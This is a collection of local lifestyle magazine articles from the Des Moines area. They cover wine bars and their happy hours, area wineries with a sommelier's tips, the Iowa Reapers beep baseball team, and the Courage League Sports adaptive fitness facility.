
Grilled steak with butter, potatoes and green salad over black metal board

Grilled steak with butter, potatoes and green salad. Need we say more?

The scene is set for a romantic dinner: The characters are dressed the part, the table is properly set, the candles are flickering, jazz standards are swaying in the background, and glasses of beer have poured to the brim—Cut! How about a nice bottle of red? Would you like to see the wine list? There’s something about wine that makes it the fancied and fitting libation for something special.

Of course, there are times and places for beer—like a backyard barbecue, a baseball game or a beer garden—but beer is more of a casual kickback and a tailgate, whereas wine is more of a garden party or a midnight in Paris.

But wine doesn’t have to be stuffy or uptight. Ask any sommelier—wine can get down at any occasion. It’s all about the perfect pairing, a pour your palate prefers and a helpful, knowledgeable server to bring it all together.

Whether you’re looking to set the mood for a date or just really enjoy a good glass of wine, make a reservation at any of the following local establishments.

Louie’s Wine Dive Waukee

This heart-of-Waukee establishment is listed for a reason, not just because “wine” is in its name. Louie’s Wine Dive takes the acquired taste for the language of vino—tannin, maceration, decant—and makes it personable and accessible. After all, their motto is, “Wine is supposed to be fun!” The Waukee location is one of seven (including the Des Moines location), yet it’s not cookie-cutter chain material. A neighborhood feel is made possible through ambiance and events like an educational monthly wine club with a sommelier. Use the wine board with specialty and small batch selections as an ordering guide. (Of course, it doesn’t hurt to order accompanying small plates of squeaky cheese, mussels or a much-needed dessert like the indoor s’mores.) Even if you’ve been here before, it’s prime time to make another reservation; the menu never gets stale and rotates with the flavors of the season.

Best bet for cheers: Drink joyfully with large, 8-ounce glasses of wine for $6 and 25% off all wine bottles during All Night Happy Hour on Mondays, plus daily happy hours from 4-6 p.m. Hit up late-night happy hour on Tuesdays and Thursdays from 9-10 p.m. and Fridays from 10-11 p.m.

1378 Hickman Road, Waukee

louieswinedive.com

(515) 518-2075

Gusto Pizza

Located in West Des Moines, Gusto Pizza is quick to assert that its address is practically in Waukee (and conveniently close to Clive). It’s hard not to make Gusto a weekly habit. You can dress it up or down as much as you want, depending on the experience you’re looking for. Pizza and beer is a typical combo, but if you want something closer to a true Italian experience, try a signature pie (like the Vincent Van Goat, Thai Kwon Dough or Mona Lisa) with a glass or reasonably-priced bottle from the modest wine menu, which is divided simply between reds and whites.

Best bet: Tuesdays just got better with the half-off wine bottle deal from 5 p.m.-close

8950 University Avenue, Suite 105, West Des Moines

gustopizzaco.com/west-des-moines

(515) 216-2198

Trostel’s Dish

Of course we love a good cocktail, which Trostel’s bartenders sling up supremely, but when in drink derision, look to the wine list. Can’t decide between the section on “Little Bubbles” or “Unique Blends?” Wine flights are an excellent way to sample three different wines before committing to a glass (or bottle) while listening to live music on Saturdays from 7-10 p.m. Plus, the seasonally developed menu of shareable tapas or the impressive antipasto cheese plate selection is nothing short of necessary when dining al fresco on the patio.

Best bet for cheers: Wind down with wine during happy hour with a selection of $5 glasses of wine until 6 p.m. daily.

12851 University Avenue, Suite 400, Clive

dishtrostels.com

(515) 221-3474

Firebirds Wood Fired Grill

Firebirds is a classic sirloin, strip steak, seafood and giant-burger restaurant with a dining room that is modern, comfortable and surprisingly intimate. Price points on many menu items give this chain a “special occasion” feel, meaning a bottle of wine is a must. The menu is organized from light (champagne, prosecco, blushes and distinctive whites) to full-bodied (pinot noir, merlot and cabernet sauvignon), and includes a special selection section of limited bottles beginning at $80. If you just want a small glass of vino, Firebirds offers five-ounce pours for many of their wines.

Best bet for cheers: Half-price glasses of wine and a selection of bottles every Monday hits the spot. Happy hour is a welcome sight for sipping select glasses of wine for $5 during the summertime on the patio, or in the bar, Monday through Friday from 4-6:30 p.m. Be sure to pair with happy hour bar bites, like the Tenderloin Trio and Crispy Mahi Tacos.

440 South 68th Street, Suite 101, West Des Moines

west-des-moines.firebirdsrestaurants.com

(515) 259-8540

Grape Expectations

July 15, 2016 by admin

Any Iowa wine aficionado will assure you that you don’t have to book a trip to Napa or Sonoma to taste great wine straight from the vine.

Blair Zachariasen, Certified Wine Specialist at Waukee Hy-Vee, is one such wine expert. She’s a Certified Sommelier, a Certified Specialist of Wine and holds an Advanced Certificate in Wine & Spirits…and she encourages popping the corks of wine bottles made right around Waukee!

Iowa (Wine) Nice

Regional tastes and qualities of wine from around the U.S. are important and telling, just like regional identities of European wine. (Think world-famous growing areas like Champagne, Rhône Valley and Moravia.) This means Iowa’s wines are unique and different from what you would find in other growing regions.

“Iowa wines are often typecast in the sweet category, but there’s really a broad range of styles and flavors,” said Zachariasen. “I truly believe there’s an interesting Iowa wine for every wine drinker.”

For beginning wine drinkers, Zachariasen recommends starting with Iowa’s sweeter wines. (It’s like how many coffee drinkers start with a latte or a mocha before trending toward a daily black coffee.) “Most novices find that something sweet is more approachable while they learn and train their palate,” she said. “For those who dabble in drier wines, our cooler climate tends to create wines that feel a bit more rustic and have a bit more acidity. These make great food pairings and leave your mouth watering for more.”

Zachariasen also shared her picks for pairing with your summertime picnics and backyard barbecues. “The mouthwatering acidity of hybrid grapes, like Seyval Blanc, is crisp, thirst-quenching and lovely with lighter fare,” she said. “Juicy and ripely fruited, slightly off-dry red blends like Jasper Winery’s Behind the Shed Red and Covered Bridges Winery’s Rattlesnake Red are great with burgers, brats and dogs on the grill.”

Accessible, Affordable Sips

There’s a huge movement right now for buying fresh and local, which is easy to do in central Iowa, thanks to our multitude of producers, CSA programs and farmers’ markets. Take that concept to the next level and apply it to what you drink. Buying local wine means you know where the grapes came from and who produced them—all of which add extra value to the product. Plus, without the added shipping costs, local wine is easier on the pocketbook, too.

“Most local wine is very affordable! Most selections are between $10 and $15 per bottle,” said Zachariasen. “Premium selections are occasionally priced slightly higher, but even then, they’re rarely more than $30,” she said.

Helpful Smiles

Standing in the wine aisle can be a bit overwhelming, as you attempt to decipher all of the creative names and eye-catching labels. This is why it can be extra beneficial to build a relationship with the seller, whether you’re buying a bottle at a local winery, the neighborhood grocery store or a specialty wine shop.

“My best advice is to get to know your wine shop and the staff, and more importantly, let them get to know you,” Zachariasen advised. “Regardless of your level of knowledge, you are the expert when it comes to knowing what you like. Ultimately, I want you to love the wine and come back to try more, so you shouldn’t tell me what you think I want to hear. Don’t be afraid to be clear about your budget and ask questions if you don’t understand.”

A good way to get to know your local wine experts is to talk with them in the relaxed tasting rooms of a local winery or by signing up for a fun learning event at a wine shop or grocery store. Plus, you can always tune into Zachariasen’s podcast, aptly named “I Feel Vine.” Available on iTunes, the podcast is all about the “power of positive drinking” and features discussions on alternative wine bottle closures, when to decant and how to prepare for a great (wine inclusive) celebration.

Local Wineries Worth a Visit

This is the perfect time of year for a day trip or a romantic weekend to escape into the cool ambiance and tantalizing tastings of local wineries. You can mingle with the growers, learn about viticulture (the study, science and production of grapes) and taste homegrown wine, straight off the Iowan vine! The following wineries are definitely worth a visit.

Penoach Vineyard

Nestled north of Adel in the Raccoon River Valley, a repurposed red brick barn from 1917 is a working family-owned winery, founded in 2006. Its covered patio is a picturesque place to sample wines—for free!—that have been crafted from the eight grape varietals tenderly cultivated on the property. No matter your tastes—tropical, crisp or fruity—one of their 14 wines will fit your fancy. From the dessert-worthy rich, raspberry wine to the dry Windmill Red Penoach, you’ll begin to crave a date night with a bottle while the sounds from the vineyard’s summer concert series fill the evening. The barn and grounds are often rented out for weddings and events, and the high quality of wine is maintained by owners Stan and Joanie Olson.

26759 N Avenue, Adel

www.penoach.com

(515) 993-4374

Hours: Friday 12-6 p.m.; Saturday 12-5 p.m.; Sunday 1-5 p.m.

Snus Hill Vineyard and Winery

The grapes grown at Snus Hill are truly the fruits of one family’s labors. The winery thrives on the land first purchased in 1878 by the Swedish immigrant ancestors of the current owners, John and Diane Larson. What the Larsons first planted in 1999 has grown into a fully functional and flourishing vineyard. The vineyard’s name pays tribute to their history, as snus is a type of old Swedish chewing tobacco, while some of their wines’ names play around a feline theme, inspired by the family’s Burmese cats—Whisker White or Cat Nip, anyone? Enjoy some High Trestle Taille or Ditchweed Red while relaxing in a rocking chair overlooking the countryside. Also mark your calendar to attend one of their live music events.

2183 320th Street, Madrid

snushillwine.com

(515) 795-3535

Hours: Wednesday to Sunday 10 a.m.-6 p.m.

Jasper Winery

Jasper Winery is perhaps one of the best-known wineries in the metro, thanks to its easy access from downtown Des Moines. In 2000, Jean and Paul Groben planted their first grape vines outside of Newton. Their passion project grew into a full-fledged vineyard that expanded to the larger Des Moines location in 2007. Mason Groben, Jasper’s winemaker, upholds a philosophy of “interfering as little as possible in the winemaking process.” Visit the tasting and barrel rooms and get a glimpse into the perfected production for yourself. You may want to plan your visit to coincide with their free summer concert series, which offers free live music every Thursday evening during the summer.

2400 George Flagg Parkway, Des Moines

jasperwinery.com

(515) 282-9463

Hours: Monday to Saturday 10 a.m.-6 p.m.; Sunday 1 p.m.-5 p.m.

Covered Bridges Winery

From April to October, the Covered Bridges wine is poured plentifully and the joy is infectious when visiting the operation owned by longtime friends, Kevin and Jean Fifo and Kevin and Rose Boyle. The winery started out in the Fifos’ basement, where Kevin first began experimenting with winemaking. As time went on, land was acquired and the first grapes were planted in 2004. The winery is now growing even more, with the construction of a production facility and an official tasting room set for completion this year, located north of Winterset on Highway 169 and 1170th Trail. Covered Bridges offers a wide variety of red, white and rose wines. The owners are happy to suggest pairings like the Holliwell Bridge white paired with chicken or the Rattlesnake Red (winner of the best red wine award at the All Iowa Wine Festival in 2013) paired with chili or chops.

Refer to the winery’s website for directions—Don’t use GPS to find the location.

coveredbridgeswinery.com

(515) 729-9463

Hours: April to October, Saturday and Sunday 11 a.m.-5 p.m.

Madison County Winery

Make Madison County Winery the main event of your next day trip to the famous covered bridges. Their patio, complete with a fire pit, is the perfect locale for sweet summery sips like Summer Blonde, Lollipop, and Strawberry Blonde. Or perhaps rent out the wooden pergola to enjoy an evening of live music with your friends while sipping a dry white, like Vignoles or the fortified red blend, Phat Man. Even when it comes to small bites, Madison County Winery keeps it in the Iowan family. Choose from milk or dark chocolate from Pella’s VanVeen Chocolate or a cheese plate made from Maytag Farms, Frisian Farms or Milton Creamery.

3021 St. Charles Road, St. Charles

madisoncountywinery.com

(641) 396-2220

Hours: Tasting room and summer hours: Monday to Friday 11 a.m.-5 p.m.; Saturday 11a.m.-6 p.m.; Sunday 12 p.m.-5 p.m. You can also schedule a group wine tasting.

Two Saints Winery

Sunday afternoons never sounded so sweet: Live music from 2-5 p.m. through the end of September, complete with a bottle made from the 10 acres of grapes at Two Saints Winery. Relish the Iowa-grown grapes made into wines like the semi-dry The Greatful Red and the sweet white Deux Caniches Blancs in the inviting, geothermal heated/cooled tasting room or on the summer-friendly wraparound porch. Located in Warren County, the family-owned Two Saints Winery has thrived since the planting of vines in 2006. The rows of varietals provide picturesque acres to walk about before settling in for a five-wine flight.

15010 20th Avenue, St. Charles

twosaintswinery.com

(641) 396-2102

Hours: Tuesday to Friday 11 a.m.-6 p.m.; Saturday 10 a.m.-5 p.m.; Sunday 12 p.m.-5 p.m.

Summerset Winery

Summerset has won a number of awards and holds the title of being one of the first estate wineries in Iowa. But one of its biggest selling points is the staff that break down potentially complicated wine terminology and help you pick a pour from their 23 different wines (like the popular Caba Moch and Harvest White) without an ounce of arrogance. The smiling golden sun on the label of each well-crafted wine from this Indianola winery is a metaphor. Joyful, sunny and carefree…that’s how it feels to drink a glass on the lawn while the Sunday Tunes music fills the evenings through October. Be sure to make a (required) reservation for the formal tasting and cellar tour; the ticket price of $20 gets you a sampling of six sensational wines, a cheese plate and a branded wine glass. You can also book a night or weekend at The Inn—a luxurious home for rent that sleeps up to 18 people.

15101 Fairfax Street, Indianola

summersetwine.com

(515) 961-3545

Hours: Monday by appointment only; Tuesday through Sunday 10 a.m.-5 p.m.; Formal tour/tastings Tuesday through Friday 1 p.m. & 4 p.m.; Saturday and Sunday 12 p.m.

Annelise Winery

A visit to Annelise Winery’s tasting room is a beautiful culmination of the labor and love that goes into crafting wines, like the sweet white Masquerade and the robust red Iowa St. Croix. There are 15 acres of vines, supporting 17 different types of grapes between two growing locations. The family-owned vineyard grew out of the first grapes planted in 1997, and the winery is conveniently located across from the Indianola balloon field. Plus, the recently remodeled barn on the property can host up to 120 people for weddings, parties and private events.

15110 Highway 92, Indianola

annelisewinery.com

(515) 229-1299

Hours: April 1 to January 3, Wednesday through Sunday 11 a.m.-6 p.m.; Monday and Tuesday by appointment; January 4 to March 31, Thursday through Sunday 11 a.m.-5 p.m.

Dale Valley Vineyard & Winery

Drinking unique wines—like the rhubarb Recess or the smooth, citrusy White Gold—at Dale Valley also offers the opportunity to experience a piece of interesting Iowan history. A great, great, great, great grandfather of owner Tracy Mahlstadt was a key commerce creator in the area through the construction of a mill and goods store. He also made the operation of a one-room schoolhouse possible for the small town back in the 1800s. That same schoolhouse is now home to the intimate, friendly tasting room and gift shop. Yes, this is your chance to drink at school! Be sure to visit and share a bottle on the deck before October 1, which will mark the last day (ever) for the winery, which opened in 2007.

3097 285th Street, Stuart

(515) 523-2199

Hours: Wednesday through Saturday 10 a.m.-6 p.m.; Sunday 12 a.m.-6 p.m.

dalevalleyvineyard.com

Iowa Reapers take the Plate

May 6, 2016 by admin

Iowa’s only Beep Baseball Team Preps for Summer World Series in Ames

Most of us are familiar with the sights and sounds of America’s favorite pastime—the crack of a bat, the cheer of a home run, the stands full of fans and gorgeous green fields. But many may not know about beep baseball, which incorporates some exciting changes (including beeping baseballs and blindfolded players) and allows the visually impaired to actively participate in the sport.

Some History

Beep baseball began in the 1960’s, when Charley Fairbanks, an engineer with Mountain Bell Telephone, installed a beeping device inside a normal sized softball. However, the earliest versions of the game failed to gain much popularity, because players found it difficult to sort out the sounds of the beeping ball and the bases, which made whistling sounds. To make matters worse, the equipment didn’t always work, and the rules diminished the fun—face masks and chest pads were required, and running wasn’t allowed.

In 1975, the Minnesota Telephone Pioneers gave John Ross, the director of the Braille Sport Foundation, a redesigned beep ball that could better withstand being hit by a bat. Ross, together with some of his blind friends, adapted the game to be more like regular baseball. Word spread to a group of blind athletes in St. Paul, called the St. Paultites. Dennis Huberty, the group’s organizer, contacted Ross, and the two groups began playing each other throughout the summer. The following year, a group of interested individuals met in Chicago and created the National Beep Baseball Association.

Meet the Reapers

The Iowa Reapers are one of 24 teams registered with the National Beep Baseball League (NBBA). Head coach Frank Guerra formed the team in June 2011 as part of Adaptive Sports Iowa, with the support of the group’s director Mike Boone.

Guerra explained that in 2010, the city of Ames had put in a bid to host the 2012 Beep Baseball World Series, and it only made sense to have a team from Iowa to represent the state.

Who’s on First: Rules of the Game

When attending a beep baseball game, you’ll notice that there’s no seventh inning stretch or second base. Some elements are familiar—there are three outs per half inning, and the umps call the shots and can remove confrontational athletes from the field or disorderly spectators from the stands.

But some of the rules make for one-of-a-kind game play. For one thing, all players are blindfolded. This levels the playing field, so to speak, since some are visually impaired and some are completely blind.

Also, two, blue four-foot padded cylinders (with speakers inside) serve as the first and third bases. They’re installed 100 feet down the baselines. Guerra explained that this is to prevent collisions between the runners and fielders.

Guerra also placed special emphasis on the jobs of the dedicated pitchers and catchers (meaning, the pitchers don’t bat or field).

“In MLB, the pitcher has to get it between the knees and the chest; the beep baseball pitcher has to throw the ball at the same place every time,” Guerra said. The catcher sets the target area to where the batter swings normally, he explained.

Unlike their six teammates covering the field, the pitcher and catcher are sighted and blindfold-free. Standing 20 feet back from home, the pitcher must say the words “ready” (right before the 1.5 pound ball is thrown), and then either “pitch” or “ball” to indicate if the ball is within the hitter’s bat.

If the batter makes contact, the ball must travel past the 40-foot line on the field to be fair or it’s considered a foul; a home run is when the ball in the air makes it past the 180-foot mark and counts for two runs. If the ball happens to rebound back to the pitcher, it’s considered a “no pitch.”

Unlike the three-strikes-you’re-out rule in baseball, beep baseball hitters get four strikes and one pass ball before striking out. Say the batter hits a fair ball. One of the two bases will be activated by the base operator to emit a buzzing sound. The runner has to discern which base is buzzing and reach it in about six seconds or less, prior to the ball being picked up by a fielder. If the runner is safe, it counts as a run. Whether safe or out, there is no running between bases.

In that same scenario, where the batter becomes the base runner, what are the fielders doing?

“During a play, the ball is beeping, the base is buzzing, and the spotter calls out one particular number on where the base is headed,” Guerra said, describing the multiple sounds the ears take in during the game. “Nine out of 10 times, the fielders are headed to the ball before the spotter calls any number.”

The spotter refers to the one or two sighted spotters on the sidelines who quickly call out one of the “zones” in the field, with which all players are familiar. (Spotters are not allowed to say anything else.) It is another cue to the blindfolded players about where the beeping ball is expected to land. To make an out, the fielder has to hold the ball up and away from the body for it to count; there is no throwing to the bases or home plate. All the while, fielders are constantly communicating with each other about their position and the play.

“If a fielder is wearing a fielding glove and catches the ball in the air, that’s three outs and the inning is over,” Guerra explained, but noted that this happens only very rarely. It’s so rare, in fact, that players who make such a play could be suspected of cheating, like by being able to see out of the blindfold.

“If anyone is suspected of cheating, the umpire will apply self-adhesive bandages over the player’s eyes, as well as a taped-down blindfold. You have to take it as a sign of respect; it means you’re really good,” Guerra said. “The best way to deal with it, if it happens, is just to go out there and keep making amazing plays.”

Scores in beep baseball tend to rack up higher than those of most baseball games. According to SportingCharts.com, the average runs scored per MLB game during the season was 8.33 runs per game, or 4.17 runs per team. Comparatively, MySportsVision.org states there is an average of 20 to 30 runs scored per team in a beep baseball game.

“Beep baseball scores depend drastically on how good the pitchers and batters are,” Guerra said. “There was a score last year in the World Series of 45-37.”

Series Stars

The NBBA 2016 Beep Baseball World Series will once again be close to home this summer, held July 24 through July 31 on Iowa State University’s fields at University Boulevard and South 4th Street. Teams from across the country, like the Minnesota Millers, Chicago Comets, and Boston Renegades, will compete to claim the series title; the two international teams based in Canada and Taiwan will not be in attendance due to the hefty costs of travel.

Under Guerra’s direction, eight extremely dedicated volunteers, and the leadership of the team captain, John Patterson, the Reapers are going to be ready to come in swinging at full force this season. Plus, the team has a sharp new logo featuring two crossed sickles behind a beep baseball (denoted by the speaker holes).

Since there isn’t a league or even a second beep baseball team in Iowa, the Reapers spend most of the season practicing at Harding Middle School in Des Moines. They will also play a few intramural games leading up to the World Series. Winter cannot stand in the way of the team’s progress; the 11-person team begins season practice at indoor batting cages in February and then takes to the outdoor fields to practice all elements of the game.

Occasionally, the Reapers play sighted softball teams. The sighted players don’t wear blindfolds in the field, for liability purposes. As Guerra explained, “We don’t want them running into each other.” Additionally, the sighted team has to have at least three fielders behind the 80-foot arch. If the players in front of that arch get to the ball, they must throw it back to the players behind the arch for the “catch” to count.

According to Guerra, there is, at times, a fear of playing beep baseball, “because they think they’re not going to get it.” As it turns out for all players involved, it turns out to be a lot of fun.

Coached Dedication

Guerra has a long history with beep baseball. He first started playing in 1985, and then joined the Long Island Bombers for several years. After he retired from the team, he umpired for two additional years and further developed his approach to the sport.

“Every little league, high school, college, minor and major league manager has their way of doing things. I brought all of my skills as a defensive coach,” said Guerra. “You have to win the game defensively.”

“The whole underlying thing about the Iowa Reapers is, if you’re not having fun, it’s not even worth playing—it’s just a game,” added Guerra. “No one is going to lose their job, or die from losing.”

The focus of having fun keeps the team grounded during competition.

“You need to want to be there. You need to either want to volunteer or play. The same humbleness goes for volunteers and players alike,” Guerra reinforced.

He added that all Reaper players and volunteers are united by their motto: One beep, one team.

That’s one team Iowa is lucky to have.

Get in the Game

To fully appreciate the unique rules, camaraderie and excitement of beep baseball, it’s best to experience it firsthand as a spectator or volunteer. Lucky for Iowans, the NBBA World Series is looking for volunteers for the upcoming event. Learn more online at amesbeepbaseball.com.

Applications are due by July 1.

Stay up-to-date with the Iowa Reapers news on Facebook (Iowa Reapers) and Twitter (@IowaReapers)

Finding Courage: Courage League Sports

May 6, 2016 by admin

At the unique adaptive facility that is Courage League Sports, those with special needs can play, gain strength and practice skills just like any other gym-goer or athlete.

Participants are met with encouragement the minute they visit the 12,000-square foot Urbandale facility, as giant letters spelling the words “grow,” “develop” and “believe” adorn the colorful walls. There’s no shortage of activity options at Courage League, with its vast array of fitness equipment and a daily program packed with activities like group fitness classes, sport leagues and Special Olympics training.

What started as an idea in 2012 developed into the active, thriving non-profit of today. Courage League’s founder and president, Melissa Clarke-Wharff, opened the doors to the gym in November 2013 after a great deal of research and hard work—and it was all inspired by her son, Jack.

When Jack was younger, he loved playing sports, participating in various YMCA leagues, and playing with his friends and siblings. However, when he was 8 years old, Jack suffered a series of strokes that left him with cognitive delays and physical disabilities. His love for sports endured, but the after-effects of the strokes made it difficult for him to participate in the same types of activities he enjoyed before.

He began participating in the Miracle League, and enjoyed it, but unfortunately, that league only lasts for six weeks each year. Sensing her son’s need for more, Clarke-Wharff researched available sports and movement activities for those with disabilities. What she found surprised her. In the Des Moines metro area, 28,000 kids and 24,000 adults are affected by physical and cognitive disabilities. Yet, at the time, there were very limited resources to serve this important group of people. And with that, the idea for Courage League Sports was born.

Clarke-Wharff said the nonprofit has seen consistent growth, and on average, they serve 1,000 kids and 350-400 adults per month. Families can obtain a monthly membership (currently $55) or a 10-visit punch card ($60), but Courage League also serves schools, day habilitation groups, senior living facilities and respite groups.

Participants and activities are organized by age group: Cubs (ages 2-6), Lions (ages 7-12), Panthers (ages 13-18), and adults (age 19 or older).

Clarke-Wharff said the Cub/Lion/Panther Leagues—which are recreational programs geared toward learning and developing age-based seasonal sports skills—are one of their most popular youth programs.

“Here, we’re able to introduce them to different sports and field games—things they might see in P.E. or at the playground,” said Clarke-Wharff. “They see it here, and then they’re more apt to play at school.”

Courage League also has an amazing set of tools that takes adaptive fitness to the next level. Exergaming uses the EyePlay system to project different games on the floor of a 9-ft by 9-ft area. Players use their bodies to play different games—for example, popping digital balloons or kicking a soccer ball.

“Sixty percent of the kids at Courage League Sports are on the autism spectrum, so that attention piece is key, and exergaming keeps them engaged,” explained Clarke-Wharff.

“One older gentleman couldn’t do one rotation on the bicycle, and now, after three or four months, he’s doing five to six miles each session.”

Cycling looks a little different at Courage League, but it produces amazing results. Participants use recumbent bicycles to bike down virtual landscapes; people can use the program to bike across the U.S. (as one mile is equivalent to 100 miles), to a favorite vacation spot. Clarke-Wharff said some participants have shown great progress in stamina and ability on the bikes. “One older gentleman couldn’t do one rotation on the bicycle,” she said, “and now, after three or four months, he’s doing five to six miles each session.”

Courage League has a unique way of injecting fun into what would otherwise be a regular class. For instance, its Karaoke Cycling class invites participants to “feel the burn while belting out their favorite tunes!” Then there’s the attraction of the OptiMusic room, where any movement triggers pictures, videos, or music. The room can be used to project different animal sounds or used for sensory drumming.

A must-play is the giant game board, different exercises are incorporated into oversized games of Jenga, Sorry!, Uno!, and checkers.

Courage League is operated largely by grants, sponsorships and fundraising. Every year, it hosts several bigger fundraisers, such as its recent Spin ‘N Shoot 2016 event, where 24 teams competed in a three-on-three wheelchair basketball tournament. The CLS’ Team Roar Pom and Cheer Squad raised enthusiasm from the sidelines, and more than $15,000 was raised for the organization.

Helping the pink-shirted dance and cheer squad to raise crowd enthusiasm is Courage League’s mascot, Rory the Lion. Clarke-Wharff’s son Jack helped come up with the idea for the mascot, using the concept of “courage” and the lion from The Wizard of Oz as inspiration.

While the majority of Courage League’s programs take place at its own facility, it also partners with other facilities to provide activities that take place outside of a gym. Menagerie Stables in Altoona serves as the location for “Rory’s Riders,” where students can groom, lead, saddle and ride horses. And, of course, no summer is complete without swimming! Water safety classes are held at the Walnut Ridge Senior Living Center, where students can work on skills like arm movements, blowing bubbles and kicking.

Courage League encourages other towns to contact them about offering programs in other places throughout the state. Clarke-Wharff said the partnerships occur in a number of different ways; Courage League facilitates adaptive fitness workshops and activities for various age levels by request of other organizations or groups of families. “Programming in other towns allows us to raise awareness and to spread our wings, as well,” said Clarke-Wharff.

Summer camps, Courage League-style, are offered from June through August for kids ages 3 and up. They offer weekly themes, like basketball, music or baseball. Kids, members or not, can also have their birthday parties at the facility, where all ages can run, play and dance!

From “Jedi Training” classes to archery, from yoga to the “Inner Warrior” obstacle course, Courage League Sports is a welcoming facility for all bodies and abilities.

Get Ready, Get Set, Play!

Courage League Sports
4405 121st St., Urbandale, IA
www.courageleaguesports.com
515-421-4021

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